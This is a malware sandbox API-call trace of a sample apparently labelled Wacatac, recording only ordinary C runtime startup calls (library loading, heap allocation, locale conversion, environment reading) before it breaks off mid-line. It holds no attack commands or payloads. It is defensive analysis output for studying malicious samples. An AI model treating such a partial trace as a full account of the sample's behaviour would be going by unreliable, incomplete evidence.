# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 20.11.2019 19:59:03.891 Process: id = "1" image_name = "wacatac_2019-11-20_00-10.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wacatac_2019-11-20_00-10.exe" page_root = "0x505b9000" os_pid = "0x41c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x6e4 [0021.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x1902b80, dwHighDateTime=0x1d59fdd)) [0021.611] GetCurrentThreadId () returned 0x6e4 [0021.611] GetCurrentProcessId () returned 0x41c [0021.611] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14188699768) returned 1 [0021.627] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0021.627] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.627] GetLastError () returned 0x57 [0021.627] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74b60000 [0021.632] GetProcAddress (hModule=0x74b60000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0021.632] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.632] GetLastError () returned 0x57 [0021.632] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0021.634] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.634] GetLastError () returned 0x57 [0021.634] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0021.635] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0021.635] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0021.635] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.635] GetLastError () returned 0x57 [0021.635] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74b60000 [0021.635] GetProcAddress (hModule=0x74b60000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0021.636] GetProcessHeap () returned 0x540000 [0021.636] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.636] GetLastError () returned 0x57 [0021.636] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0021.636] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.636] GetLastError () returned 0x57 [0021.636] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0021.636] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0021.636] GetLastError () returned 0x57 [0021.636] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0021.636] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x364) returned 0x54f110 [0021.637] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0021.637] SetLastError (dwErrCode=0x57) [0021.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xc00) returned 0x54f480 [0021.638] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40b1c0, hStdOutput=0x4da808a6, hStdError=0xfffffffe)) [0021.638] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0021.638] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0021.638] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0021.638] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe\" " [0021.638] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe\" " [0021.638] GetLastError () returned 0x57 [0021.638] SetLastError (dwErrCode=0x57) [0021.638] GetLastError () returned 0x57 [0021.638] SetLastError (dwErrCode=0x57) [0021.639] GetACP () returned 0x4e4 [0021.639] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x550888 [0021.639] IsValidCodePage (CodePage=0x4e4) returned 1 [0021.639] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0021.639] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0021.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0021.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ簻AĀ") returned 256 [0021.639] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ簻AĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0021.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0021.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ絥AĀ") returned 256 [0021.639] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0021.639] GetLastError () returned 0x57 [0021.639] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0021.640] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0021.640] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ絥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0021.640] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ絥AĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0021.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿî×óMèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0021.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0021.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0021.640] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0021.640] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0021.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿî×óMèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0021.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x550ab0 [0021.640] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43e9e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wacatac_2019-11-20_00-10.exe")) returned 0x42 [0021.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4b) returned 0x550b38 [0021.640] RtlInitializeSListHead (in: ListHead=0x43e490 | out: ListHead=0x43e490) [0021.640] GetLastError () returned 0x0 [0021.640] SetLastError (dwErrCode=0x0) [0021.641] GetEnvironmentStringsW () returned 0x550b90* [0021.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x565) returned 0x551668 [0021.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x551668, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0021.641] FreeEnvironmentStringsW (penv=0x550b90) returned 1 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x98) returned 0x551bd8 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1f) returned 0x5502f8 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x36) returned 0x551c78 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x37) returned 0x551cb8 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x3c) returned 0x551cf8 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x31) returned 0x551d40 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x551d80 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x24) returned 0x551da0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x14) returned 0x551dd0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xd) returned 0x543630 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x25) returned 0x551df0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x39) returned 0x551e20 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x551e68 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x551e88 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xe) returned 0x551ea8 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x69) returned 0x551ec0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x3e) returned 0x551f38 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1b) returned 0x550320 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1d) returned 0x550348 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x48) returned 0x551f80 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x550b90 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x550bb0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1b) returned 0x550370 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x24) returned 0x550bd0 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x29) returned 0x550c00 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1e) returned 0x550398 [0021.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x41) returned 0x550c38 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x550c88 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xf) returned 0x551fd0 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x16) returned 0x550ca8 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x2a) returned 0x550cc8 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x29) returned 0x550d00 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x15) returned 0x550d38 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1e) returned 0x5503c0 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x2a) returned 0x550d58 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x550d90 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x550db0 [0021.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x46) returned 0x550dd0 [0021.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x551668 | out: hHeap=0x540000) returned 1 [0021.642] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0021.642] 